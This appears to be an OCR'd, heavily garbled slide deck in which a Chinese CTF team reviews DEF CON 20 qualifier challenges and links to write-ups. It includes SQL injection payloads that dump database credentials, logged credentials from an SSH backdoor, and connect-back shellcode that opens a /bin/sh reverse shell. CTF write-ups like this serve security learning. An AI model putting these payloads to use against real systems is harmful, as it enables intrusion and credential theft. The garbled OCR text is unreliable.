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I 2EREFREMINEBRERRE - "ERRzas"
B 1996FFF4s, DI /r16/H
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0.01h - EHFED

Grab Bag 100: Hack the planet_
2006: Hack the Planet
2007: [lack the planet

2008: Hack 1@ planet
2011: [Hack the planet .

0 2012: Hack the planet!

G100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/693 10
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0.5h - X5, 2004, FF

0 Urandom 100:

B How many developers;) did it take to secure
Windows 87

0 e e

B Google Windows 8k &Ml - R EMIKIE
B REIWIN8 2T K AR AEL

B EHFNIIEG60-70 N: ANAR1E#EL-100KE
AR PR IIER-55152

B Slow Down?!!

? (xR developers)5 H )

U100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/719 12
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BTSN - p100

0 pl100: MIPSH54 MRk it !
B RRfuzzBRiA S MR PR KE
B BNREAHISRR: Qemu + Linux-mips
B ZppX bt (BHRREHEE) —EHAMk: ASLR

0 FemMERRFALR? —EARKRE: BFE
0 fEE>x8: FlHbinaryH Kwrite ()N H 22w X bt

0 B2
B HEEERT A SHBEHARE: 2IMIPSHES.
EIRBEAE TR E A

B BgEED: jmp esp (F5MHREHE) 48T ASLR

P100 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/709 13




RERIZES )M - b100

0 Binary I33tness 100: 45—/ binary, recover
my key

B —/ii%mac.h, —/'sshd, —/‘'ssh
B Google: skynet ssh backdoor

B mac.h (GiliexAEXH) % (xor Oxff)

SSH2_OUT: 192.168.88.61 user: root pass: foobar (ddtek.biz)
SSH2_OUT: 192.168.88.61 user: root pass: fOObar (ddtek.biz)
SSH2_OUT: 192.168.88.61 user: root pass: mypasswOrd (ddtek.biz)

SSH2_OUT: 10.0.2.15 user: root pass: supr8m3p0w3r (defcon.org)

pass_from: 10.0.2.15 user: root pass: supr3m3p0w3r (defcon.org) AT} /\ QZ =
SSH2_OUT: 192.168.88.151 user: emily pass: I0v3ly IX I Key =] /_T_“Z_\‘ 7\5
SSH2_OUT: 192.168.88.151 user: emily pass: wOnd3rful Ke —? l I l

SSH2_OUT: 192.168.88.151 user: emily pass: nOpa$$wOrd y T

pass_from: 192.168.88.151 user: emily pass: I0v3ly (hackeruniversity.edu)

pass_from: 192.168.88.61 user: feather pass: |1ght3rthand1rt (ddtek.biz)
pass_from: 192.168.88.61 user: feather pass: wh@tsmypa$$ (ddtek.biz)
pass_from: 192.168.88.61 user: feather pass: justw@it (ddtek.biz)
pass_from: 192.168.88.61 user: feather pass: ohmygoD (ddtek.biz)
pass_from: 192.168.88.61 user: feather pass: |1ght3rthand1rt (ddtek.biz)

pass_from: 192.168.88.61 user: emily pass: I0v3ly (ddtek.biz)

B100 Writeup: http://wcf1987.iteye.com/blog/1550530 14
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SRERZE2 /MY - b100 (con’
0 BREETHHAN Hkey: #EHEAEEIXHEKkey

BN L
loc_40876B2:
mov rdi, r12
mov [rsp+7E8h+var_1B9], 8
call xstrdup
cld
mov ¥si, rax
mov cs:client_version_string, rax
mov edi, offset aRuinipestd ; “rulNipEstd”
mov ecx, 0OAh
repe cmpsb v A=
jz loc_408275 XA~ Key%%m
— Z i Key?!1!
EAN L
loc_488275: - &;:;;aincludefmac.h”]
mov edi, offset alUsrIn ac_
mov esi, {(offset aSLineDBadPortN+1Ah) ; modes
call _fopen
test rax, rax
mouv rdi, rax ; stream
mov cs:alog, rax
jz loc_4076DF 15




nmuv TruL, r i1z s KEY
call _crypt
cld

;229 cmpizort loc_469383 @\ S

- \/’W/‘\\
insight-?/fish: %
PG TN i [ 5% 0
key n] e &A% o 11
JR 3% R I

./john /root/
Desktop/
hash.txt

Ali: EI 2 f#crypt
OB BE ST T2 h g 2
AR AI/NAIr, 407
IF e AR HH ke 2

16
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SERZF )P - £100

0 —/ALinux3H&R%, find the key

0 AT HEE KR
m OERHEERFLIN.COUE, A SOUESNT: TIEPAT?
B WSSO R R P R AT wIRS . AT g ?
B RFAETAMEE, NEFRIR, FR !

0 Writeup

B blkls -s f100: sleuthkitBGFE 4t TEETRECH RS TE
B Slack space: G&EMERSCHI " FAR" B X

F100 Writeup: http://sysexit.wordpress.com/2012/06/03/defcon 17
-20-ctf-prequals-2012-forensics-300-writeup/#comments
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SERZE S )N - £200

0 Forensic 200: — M HlFfE =, recover the key
B WinHex{k 8 775K E X%, HBEFIPG

£ LEH: Google Mapk i S frfih?

Wik B A B A A FE B AR R A

X, EARREZMEAHE SR T Astegdetect

A B FERFNME O 4-ddtek (RE4MAEHBF200)

,.,.(,

18
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Fish: 2345
£b200, F-...




g

% RAFIRBE - b200

0 RitFEAE, SEEETEFRZERGEkey
[ éﬂﬁx-ﬁ

B File: FreeBSD 32-bit
IDA ProxiL%. Rtk -> HFEFEH
st e B A PR $356] -> NopAH=AREH &
Callback()><$2 sk Fu & J5 K14

while ( test if ret eq 0 );

1f ( test i1f ret eq 0 ) §

sendKey(socket) ; ﬁ)\ﬁﬁﬁ Mjﬁi )\in

else itKeyidk, FlSorry
\n");

sendText (socket, "sorry\n"

B200 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/17/779 21




Callback(

) R Y

B AR —
BEANAHEFTT
5408

IS UEAS N EL

T WA
)7
Easyds &

62

152 RS IR

v

- b200

buffer = (char *)malloc(4u);

buffer_ptr = buffer;

if ( !buffer ) goto x;

recv_to_buffer(socket, buffer, 4u); // Read first 4 chars

figure_1 = ((unsigned __int8)buffer_ptr[2] << | ((unsigned __int8)buffer_ptr[1]
free(buffer_ptr);

if ( figure_1 != 0x94A4C265 ) return 8;

buffer_2 = (char *)malloc(4u);

buffer_2_ptr = buffer_2;

if ( !buffer_2 ) goto x;

recv_to_buffer(socket, buffer_2, 4u);

figure_2 = ((unsigned __int8)buffer_2 ptr[2] << | ((unsigned __int8)buffer_2_ pt
free(buffer_2_ptr);

if ( figure_2 != @xFE732D6F ) return ©;

v8 = malloc(4u);

vS = v8;

if ( Iv8) goto x;

recv_to_buffer(socket, (char *)v8, 4u);

figure_3 = (*((_BYTE *)v9 + 2) << | (*((_BYTE *)v9 + 1) << 16) | *((_BYTE *)v9
free(v9);

if ( figure_3 != OxEEF814CB ) return ©;

vll = malloc(4u);

vli2 = vil;

if ( !vil )

: exit(e);

recv_to_buffer(socket, (char *)vl1l, 4u);

figure_4 = (*((_BYTE *)vi2 + 2) << | (*((_BYTE *)vi2 + 1) << 16) | *((_BYTE *)\
free(vi2);

if ( figure_4 == @x6EC8A126 )

{

22
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66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
83
89
90
91

92

3 test_if_ret_eq @ = ret == 6;
HASH %

5 {

96 @ -

' cryptingResult_2_ptr
Cd“ ISIon @ do { // Test whether cryptResult_1 == cryptResult_2 23

99

100
10

v

'/

% /AR - b200

if ( size <= ©x400 )

{

stringl = (char *)malloc(size);
string2 = (char *)malloc(size);
string2_ptr @ = string2;

if ( stringl )

{
if ( string2 )
{
size_of_stringl = recv_to_buffer(socket, stringl, size);
if ( size_of_stringl == size )
{

string2_ptr = string2_ptr_@;
size_of_string2 = recv_to_buffer(socket, string2 ptr 8, size_

[ 2N

if ( size_of_string2 == size ) = =
{ stringZ A Ml
charl_eq_char2 = 1; stringl_ptr = stringl; counter = size~ _ E2;
do { // Test whether stringl == string2
if ( !counter ) break;
charl_eq_char2 = *stringl_ptr++ == *string2_ptr++: -
~-counter; AN A\ string4:
}

while ( charl_eq_char2 );
if ( !charl_eqg_char2 )
{

Hderypt()R#itHE

if ( !crypt(256, stringl, (unsigned int)(8 * size_of_string2), &cryptingResult_ 1) )

vall R Tk
string#1E4{[H?

ret = crypt(256, string2_ptr_9, 8 * size, &c

cryptingResult_1_ptr = &cryptingResult_1; len

&cryptingResult_2;

if ( !length ) break;
test_if ret_eq ©® = *cryptingResult_1 ptr++ == *cryptingResult_2_ptr++;
lanc+h




f

% /AR — b200

I
0

crypt() B2 E 2+ 4 Hash&HE L ?
KILRijndeal &% (AES))S-Box

B AES-based MAC?! IS & mbfE

Google #R: AES-based MAC
Collision Attacks on AES-Based MAC: Alpha-MAC - Biryukov - #5| B #: 12

... attacks on universal hash function based MAC ... - Handschuh - #5|Bx#: 32
... differentially-uniform permutations and AES-based ... - Minematsu - 33 |H & 16

Collision Attacks on AES-based MAC: Alpha-MAC
citeseerx.ist.psu.edu/viewdoc/summary?doi=10... - P TR R - MIFULR

B side-channel collision attack
B known-message scenario

.t I lexil

24



A RFKI R — b200

0 FishisEn
B v5.key[0] = 0x14B62D86u - JF5Ei\ k£ E354H

roF] The Tangle Hash Function
ehash.iaik.tugraz.at/uploads/4/40/Tangle.pdf

7 {4 #5 - PDF/Adobe Acrobat

{E& : R Alvarez - 5| R#: 4-BXNE

14B62D86. 3172088A. 2DDCIF84. 2768DAF7. BB92EA10. IV1. 0EFEE4A4.
31CF379C. C1275C80. 45453437. 183DBD23. FF86FDFD. IV2. 6411E45E ...

B Tangle Hash Function!!!
B Google "Tangle Hash collision”

ror) Untangled

www2 mat. dtu.dk/people/S.Thomsen/tangle/tangle-coll pdf - §1F tLTa

W4 #& = PDF/Adobe Acrobat - i &

16 Dec 2008 — collision attack on Tangle. The attack applies to all ... Algorithm
Nominations for a New Cryptographic Hash Algorithm (SHA-3) Family. Federal ...

25



A RFKI R — b200

The collision search program can be downloaded from http://www.mat.dtu.dk/

people/S.Thomsen/tangle/tangle-coll.c (must be compiled together with the Tangle
reference implementation from the submission package).

Collision found in Tangle-256 Message 1: c819000000000000000000000000000000000000000000000000000
Hash of message 1l: £710be651ab67737a58ac452056bbfl3e62abed071943617dadbf25¢c2dea7710b
Message 2: ¢8190080000000800000000000000000000000000000000000000000000000000000008000000080
Hash of message 2: £710be651ab67737a58ac452056bbfl3e62abed071943617dadbf25¢c2dea7710b

XOR of hashes: 0000000000000000000000000000000000000000000000000000000000000000

0 #i&EEe R & rE A
0 3kfEkey:
437f085141d357c5d28850d5119aachb5

26



protection = BxXFFOA2000u;
index = 0;
vl = »fd;
v2 = strlen{off_8O4CLED);

- furite(off_80O4C4EQ, v2, 1u, vl);
HIFE RAHISRE - p200
fgets(buffer, 512, *fd);

userid = strtoul(buffer, 8, 16);
if ( check_userid{userid) *= 0 )

0 FreeBSDizfEexploit ¢
0 RERHRECEE T Furito(ofr SORERS ons 0, 193

int  cdecl sub 8049700(FILE x*fd) fflush(=fd);
{ do

FILE *=vu1; // ebx@1 WJ%%%?EHH@)\ {

U3 = *fd;

4

size t v2; // eax@1 N7 — c = fgetc(xfd);
FILE *u3; // ebx@2 i, Ebuffer, if ( © == =1 )

char v5; /7 cli@y

. buffer[index] = ¢ * userid;
int result; /7 eax@5

PINE v o nbihe = - v5 = buffer[index++] *= 10;
*y7 3 ebx@6 :Ei Iy

size_t v8; // eax@6 HPRE ::hile ( V5 ); I-X- fEI?
3 - 3 as ’

FILE *v9; // ebx@8 BGT;%% result = protection;

size_t v18; // eax@8 2

int c; // [sp+18h] [bp-216h]@3 [if (prpQection *= BxFFOA2600 )
Char buffer[512]; /7 [sp+1Ch] [bp-28Ch]@1 1

1nt 1ndex; /7 |sp+21Ch] [bp-Ch]@1
unsigned int protection; // L

Kelwin: 10 =0A ! ! !
XA M HERR ORGP, 278 mabuffers] ik [H]
Hohk, ZNELE Hiprotection,
RiFprotection ANAE £ £ HRAE IR




A RFHIRB — p200

0 Zhugejw: AEES, EZRNTERFHTITRZRAFARS
BRFZ%E, RSk —&IEE

0 Kelwin: BRAET ! BEFZREIndexEEEZ RigH, W AT

Bkt protection. lycan, H&ﬂ%ﬁ—;shellcode'

do
{
c = fgetc(x=fd);
if ( c == -1 )
sp+228h break:
sp+224h buffer[index] = ¢ © userid;
> v5 = buffer[index++] ?= 10;
sp+220h - 3
while ( v5 );
sp+21ch > result = protection;
sp+1Ch < if ( protection ?= OxXFFOA2000 )
Sp -

P200 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/699 28




B RIS — 70057 (34 ) Sy

F—KFIE, ARME, BRAMEFBAEENRARK, ERINNBHEFORN!

ke EREAE RZE¥ Aa%

LEg bz poRge v

o fi#M:5/10
« 18/47:700/1600

« H144:9/10
| s | P |t 8 ° 1%#:1400/1600
| ’ - EERKIRPIEL
o AR 6X+/5XX
o HHTZIK:3X/5xX
« HKAK: binary
e IJEHR: forensic
« HW4l: grab bag

“
F O T 29

wejbo.com/zhugejianwei

100




HUBATIES H-g4 8

0 REFEMACOS Eijpeg, 4iE&E

00000000 cc ef 48 00 01 02 00 50 56 00 01 02 08 00 45 00

H

00000010 00 46 €0 63 00 00 40 11 84 8f 4b 94 64 05 8c c5
00000020 dg 55 7a 69 00 35 00 32 e1 2f 1¢ f7 01 00 00 01

00000030 000000 00000002313302313202313102 |.......13.12.11.
00000040 13130 07 69 6e 2d 61 64 64 72 04 61 72 70 61 00

00000050 000CO00 01

1 RGR &
0 DiffRIEEERFEEREES T —BEH#E, DNSIEXR

PR

|..H...PV....E.|

|.F.c.@...K.d...|

|.Uzi.5.2./......

|10.in-addr.arpa. |

0 Scapy#i&HFIDNSIHFKE, 1@&J§IP, R Hin

0 dig -t ptr 13.12.11.10.in-addr.arpa
@140.197.217.85 -b ::#31337

0 DNSHM%Z: dan.kaminsky.kung.fu.

G200 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/719 30




Sun Jun-11 17:19:35 2012 BSun Jun -2 11:15:50 2012 *ttlj%ﬁl;i
AR, Skif
PIN®S
107 BR
® Thisis
semi-real.
Balance:
$92387409
825702370
12935.32

User enteréd: 7 334

sun Jun -Y 02:02:28 2012 QPUser entered: 2 7 7 2

ol

G300 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/09/760 31




FH2R15pm-EH K]

KTHEANEBRHTHE TS, ARRRBNX

fn

EREAHE A% AAa%%

binary

grab bag /urandom
133tness

pwnables

FE -
M EEEEE

ENE B

T skgEmmeg! ©

AR
(0 @OFEEREE

welbo.com/zhugejianwei

18. Blue-
lotus:1200
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SUBATIE

0 FreeBSDfi%-#EFrexploit — HFEFEH

FILE *

__cdecl sub_8048DBO0(int fd)«
fo

ceeeat

v6 = (int)"3c56bc31268ac65f\n";
v/ =18;«
do«
{0
if (Iv7 )«
break;«

v4 = *y5++ ==*(_BYTE *)v6++;«

__v7;‘<1

J

censeet

0 @R

-pAR T

while (v4 );«
if (v4)e

v

v8 = fread(ptr, 1u, 0x400u, v2);
memset(&ptr[v8], 0, 1024 - v8);«
if (v8 )«
{
sub_8048A00(ptr, (v8 + 3) >> 2);¢
(*(void (**)(void))ptr)();

}o
L 0 RPN
result = 0;« ptr[]
i:aturn result;« | E%{Lﬁptr[]
1 ' EXHEEBIT

33



SUBATIE

0 EFEXEmAptr[1#

A3 PR T 4
B R
INTRIFZ K /NE

FRRY

EANETHAER

BT HES

%

2 I RIEHE P SEILE

1 RE—ATE

Shellcode
0

AL fe

-pATED I

"\x68\xc8\x4c\x65\x05" +#
"\x68\xff\x02\x09\x29" __+
"\x89\xe7" +#
"\x31\xc0" +#
"\x50" +#
"\x6a\x01" +&
"\x6a\x02" +#
"\x6a\x10" +#
"\xb0\x61" +#
"\xcd\x80" +#
"\x57" +#
"\x50" +#
"\x50" +#
"\x6a\x62" +#
"\x58" +#
"\xcd\x80" +#
"\x50" +#
"\x6a\x5a" +#
"\x58" +#
"\xcd\x80" +#
"\xff\x4f\xe8" +#
"\x79\xf6" +#
"\x68\x2f\x2f\x73\x68" +#
"\x68\x2f\x62\x69\x6e" _+#
"\x89\xe3" +#
"\x50" +#
"\x54" +&
"\x53" +&
"\x50" +8
"\xb0\x3b" +#
"\xcd\x80" +#

pushl
pushl
movl
xorl
pushl
pushl
pushl
pushl
movb
int
pushl
pushl
pushl
pushl
popl
int
pushl
pushl
popl
int
decl
jns
pushl
pushl
movl
pushl
pushl
pushl
pushl
movb
int

S0x0100007f
S0xd20402ff
%esp,%edi
%eax,Y%eax
Y%eax
S0x01
S0x02
S0x10
S0x61,%al
S0x80
%edi
Yoeax
Yoeax
S0x62
Y%eax
S0x80
Yoeax
S0x5a
Yoeax
S0x80
-0x18(%edi)
<cntsockcode+34>
S0x68732f2f
S0x6e69622f
%esp,2%ebx
Y%eax
%esp
%ebx
Y%eax
S0x3b,%al
S0x80

"\x04\x04\x04\x04"«
"\x90\x68\x65\x05"«
"\xc8\x4c\x06\x07"+
"\x68\xff\x02\x0a"+
"\xf0\x90\x0c\x0c"+
"\x89\xe7\x0c\x0c"«
"\x31\xc0\x48\x40"«
"\x50\x90\x49\x41"«
"\x6a\x01\x4a\x42"«
"\x6a\x02\x4a\x42"+
"\x6a\x10\x4a\x42"«
"\xb0\x61\x4a\x42"«
"\xcd\x80\x4a\x42"«
"\x57\x90\x4a\x42"+
"\x50\x90\x4b\x43"«
"\x50\x90\x4b\x43"+
"\x6a\x62\x40\x48"«
"\x58\x90\x40\x48"«
"\xcd\x80\x50\x48"«
"\x6a\x5a\x90\x48"«
"\x58\x90\x41\x49"«
"\xcd\x80\xff\x4f"+
"\xe8\x79\xf1\x50"«
"\x58\x48\x40\x68"«
"\x2f\x2f\x73\x68"«
"\x68\x2f\x62\x69"+
"\x6e\x48\x40\x90"«
"\x89\xe3\x50\x90"«
"\x54\x53\x51\x90"«
"\x59\x50\x52\x90"«
"\xb0\x3b\x90\x90"+
"\x90\x5a\x90\x90"+
"\xcd\x80\x90\x90"«

P300 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/715
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1

Strings 7 T & U
B D-Link DIR-815 Firmware

B FH4Firmwares i3
Binwalk %17
B K418 squashfs + Izma

flrmwa re-mod-kit4#i

B ./extract-ng.sh /root/Desktop/
makeFirmware/f300

B rootfs

® /home/dlink/key.txt

F300 Writeup: http://insight-labs.org/?p=371
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0 Gb400: What is Jeff Moss’ checking account

weLcome

(‘ V
/ elcome to BoaBank.

Free toasters this week with new account sign-ups! Ask an account representative today how to get
your free KRUPS® toaster dellvered to your door.

Baaaaaank Of America

We watch your money like a hawk.

’ ‘
Ind an BoaBank location near you.
Enter a ZIP code below:

here! L “onsolidate your student loans. Get that
monkey off your back today! Rates as low

WELCOME

MBS

3

(Your search returned the following results.

Return to home page.

ERROR: unterminated quoted string at or near """ Position: 66




BIITESN H-0 41T YR J1(g400)

0 FEHTS
HHFL . F4: union select

table_name,column_name,'c’,'d",1,'f’ from
information_schema.columns

m %|HPrf Customer: union select
email,password,username,lastname,id,firstnam
e from customer

0 No Jeff Moss’s account???
B Jeff Moss = Dark Tangnet

0 *%3Dark Tangnetfk%S, key = 0.00
4528714345 checking |

2012-05-18 21:14:26 56.05 0.00
2012-04-24 16:16:26 892.78 -56.05

&

U

G400 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/09/762 37




#F2X20:30pm - 3

o

BRI MATEREIE T, ARITEFH N

i EREXH B BE¥

binary

grab bag /urandom panablez forenzics
133tness

100

Two teams
prequalified:
European
Nopslead team
leetmore

F 100

11. Blue-
lotus:2200

mr

%

]

'.“
G emsEmns

weibo.com/zhugejianwei
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5 Ja kB 1 5ESF — u300

0 StanfordfEZ&H LR EIRE

0 REWAHE10F M uintl6e _tH, RS
LR, BT

1_

10%0%f 3 ) PR HE P HL A
P 2835 [Pl R 2

0 BTATENOI&EIREEH BPE
0 MEAERILZ: EFAmazons:

1N

U300 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/04/690 39




5 Ja ke 1 3ES - b300
[j 2ac7b1d3206ad02506287b2ab447d9de exe 4,608 2012-05-31 22:26
1 2ac7b1d3206ad02506287b2a6447d9de pcap 850 2012-05-31 22:26
0 PcapXXff: 1AVEHEKTCPER, 10FIEEE (FEX)
0 EXEX/¥
B x86 PE3 #4? OpenVMS/Alphan]#/73C{4!
B A2 AlphaEiil+0penVMSEE, ¥ ALicense!
0 #&547: IDAPro
B keyXlUFFiDword (VUFFi#%— M5 H3xorE 2% )
B RJERHEES I COXXX7EXXXX! 7
0 HEER: “What time is leet?”

B [insight]LittleFather: &551337? 4, & XJ51337? X4
B RERL3I3Z7? &TXT! (L337tmnow!)

B300 Writeup: http://insight-labs.org/?p=368 40




5o o kHmEZ 2 K — b400

0 FEREARE 3% ) THE 23 #72 H (FreeBSD x64)

B AR EARRER

B Gdb3)&HRS A IDAPro# &S

B EFEENIEME -> REWE BB FLAR
EA0-63 45

B FEMBBFY, R4 E_ﬁﬂﬁ%%%, B3 key
0 Fish— A\ IRy ¥ N

B NN, N>8?

B EZE Y RKFFish >

B400 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/749 41




p400T8— &K1t Z

Kelwin: At —l % A fldE T
p400, HIEFHIER REUT5 ~
WA, AHhexploitilidh T,
Sy FE L EEANG T Shellcode

d W T 0 HFPEAN NS T B A TR

o Y ~

Kelwin:YES!
4005730k A
ImANES L HE4L it
HIT !

Bobo:#! Ikt
ANERE T, TAEE
MFE T, BERLNE !
HIROXXXXXIX A

LT

P400 Writeup: http://netsec.ccert.edu.cn/blog/2012/06/05/723




BAEPHTE N L -F400

1

WindowsH #5145 17, HBGary say waht?

® HBGray VS. Anhonymous

B strings, grep: T PGPINIZIF4-a Bk

B REAFRTHPGPRAE, XRIKETPGPHNZ HE4:
HITHER, keyZEfga iRfE

A EEMATIRPGPFAH |

B VolatilityW #8541t TE: pgp.exe /gpg-agent.exe
-> HdHEAFKE R E A FET Hkey(Time!)

m EfiTkey ID: EC1B51DB, key ID5FA(AMEER, ¥ik3

Writeup:

B RIEAAdump, AHE5RHRSA nSH

B Photorec T EHEWKE

43



6.4 8:30am LK

Defcon 20 CTF2RBEAERNINIF8:304 % it #, [HAF48/ /B, ;&4Blue-lotus
HPABRA=HEXFER, SURBRAFBHEPTRSEANER, REBALIRAE]
“TRMETUER, FRBENESIE, E—keyRERBANTEMTAIIR, BE

R BEREE L FE 4 R G

g ERXE DF- 2 RE¥

. fRE:14/24

. 154%:3600/7000
o FRAAZLIK:19/5%xX
B —— © 1%: 4900/7000
. AH4: 3900 (12)

« fft#«: binary, 1000/1500
- 533 forensic, 300/1500
-« —keyx #%: f400

19. Blue-
lotus:3600

44




i)
e
H

IR FAR

s 55 A

1 Hates Irony EHE DC19/&% European
2 PPP CMU, %[ Nopslead Team
3 /3 - PhDays More Smoked
) (etc) Leet Chicken

4 sutegomaz2 A NCCDC  Team Hillarious
5 shellphish UCSB, %<H oCTE Team Vand

ixNi ?
6 TwoSixNine j RUCTFE  OIdEurOpe
o s = HitBA  SiBears

10 ACME Pharm NW, 2HE
11 WOWHACKER- H[F

e

PLUS ::ictkd“
12 Routards wE Ebay
FAGFEN =

Codegat KAIST GoN

HackerDom

CashCOW?!

R
EEZ

uw, £H
?

yeyES
TSURZ
B

URFU, &%
K

?

HARCTFEE T E N
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B2 5230

0 AB&pkik: 2RIE

0 #7EE/>S

RS I AT T va b

B FiEZEkey LT A R, XI3H R R 2 E
B HUEDHT: SRZ SEERZ IS #Iﬂ #

f100&f20077 ¢

T EOLELER

B AHEXEE R brainstorm 5F 4 E

0 s EAEML RIKF

m Eﬂjﬁ%bndefcon CTFEMESE, InbreE

El:

S, TBARY (IS
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CTF BI1TIME

Team rating What's this all about?

There are a lot of CTFs in our days, some of them have excelent tasks, but in

2012 2011 most cases they're forgotten just after the CTF finished. We decided to make
some kind of CTF archive and of course, it'll be too boring to have just an
archive, so we made a place, where you can get some another CTF-related info -

Place Team Country Rating current overall CTFs team rating, per-team statistics etc.
« 1 More Smoked Leet Chicken - 948.204
Last events
2 Plaid Parliament of Pwning =] 815.113
3 Eindbazen = 728.339
| SECUINSIDE CTF Quals 2012
4 sutegoma2 . 460.151 June11,2012,2 am. | On-line
5 GoN - 433.601 Place Team Country Points
6 Leet More - 400.641 «1 Plaid Parliament of Pwning =] 140.000
7 Hates Irony == 389.853 2 GoN - 87.080
BI ue- 8 disekt ==} 375.430 3 sutegoma2 . 70.373
n
IOtus' 9 PwningYeti == 373.089 30 teams total
75/1152 LsE 0 371.052 DEF CON CTF Qualifier 2012
June 4, 2012, midnight | On-line
78'733 Full rating | Rating formula
. Place Team Country Points
Upcoming events
«1 Hates Irony == 200.000
Format Name Date Duration
2 Plaid Parliament of Pwning =] 147.959
Nuit du Hack CTF Finals June 23,2012 06:00 — 1dSh )
@ 2012 June 24, 15:00 UTC 3 Samari 123.129
x France, Paris 5 teams
303t total
_ SECUINSIDECTFFinals  July10,201206:00 —  1d 0h eams o
£ 2012 ) July 11, 06:00 UTC m PHD CTF Finals 2012
x Seul, Republic of Korea 2 teams May 31, 2012, 6 p.m. | Moscow, Russia
DEF CON CTF 2012 July 26,2012 06:00 —  3d9h Place Team Count Points 47
m % Las Vegas, US July 29, 15:00 UTC .

ams «1 Leet More - 120.000
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D \\ﬁ{ ]—)%.i‘ll L’ ==

RS

@ Codegate(ZH /4H): HEXH, SEXE2TH
EXECMUXTr, WHEXEE$2K

PlaidCTF(4H):

iCTF(127): =

ﬁﬁ%ﬁg%u,ﬁ

GIiTS(1H): shmooconEX&

o
o
B Hack.lu(105):
o
o

I E&Hb Defcon CTF(6H/7H)

UCSBE 77, ﬁ%%ﬁﬂK

£y}
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0 Blue-LotusEXEFHAN: KARAFRIEZELL
B ZINEXCTFAHRFESE, DFEARSK
B 4EUH%EDefcon CTFSEm M ki Sh

0 Blue-Lotus Chaos Club

B R EBEL, RERRTERZHRR
B SFNENE: BUEST, WebZ4, IRAS T H5EEL S

0 FHEHFEdefcon ctfiei® 55 & E R\ I8 1Eik
B getlFE IR
m ZeRE BN BIGEE ARG EEAEBRRE SRR VITRE !
B Let’'s trade hints©, just kidding
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CTF3E3E 5t YR

0 EHERFEESHhttp://t.cn/zZW2mXMA

I Defcon 20 CTF3£/E£45: http://repo.shell-storm.org/CTF/Defcon-20-quals/

0 Blue-Lotus[Z{fAwriteup:
http://hi.baidu.com/casperkid/item/3aaa7d26a08b8e4146996289

0 Hitwriteup£4
[ http://devpsc.blogspot.jp/2012/06/defcon-20-quals-writeup-collection.html (F#

P)
[ http://d.hatena.ne.jp/Kango/20120604/1338815574 (H#%A)
[ | https://sites.google.com/site/ctfcentralorg/home/defcon-20-ctf-quals
I CTFEHSHRSHT: http://ctftime.org/

a CTFLLFEFIR:
u http:/ /ctf.forgottensec.com/wiki/index.php?title=Main_Page

[ | http://captf.com/practice-ctf/
0 £ RctfFEB&EM: http://captf.com/
i CTF3kiRkZk F4: 5% http://www.wechall.net/sites.php
0 BE T E&http: / /www.securitywizardry.com/index.php/products/forensic-solutions.html
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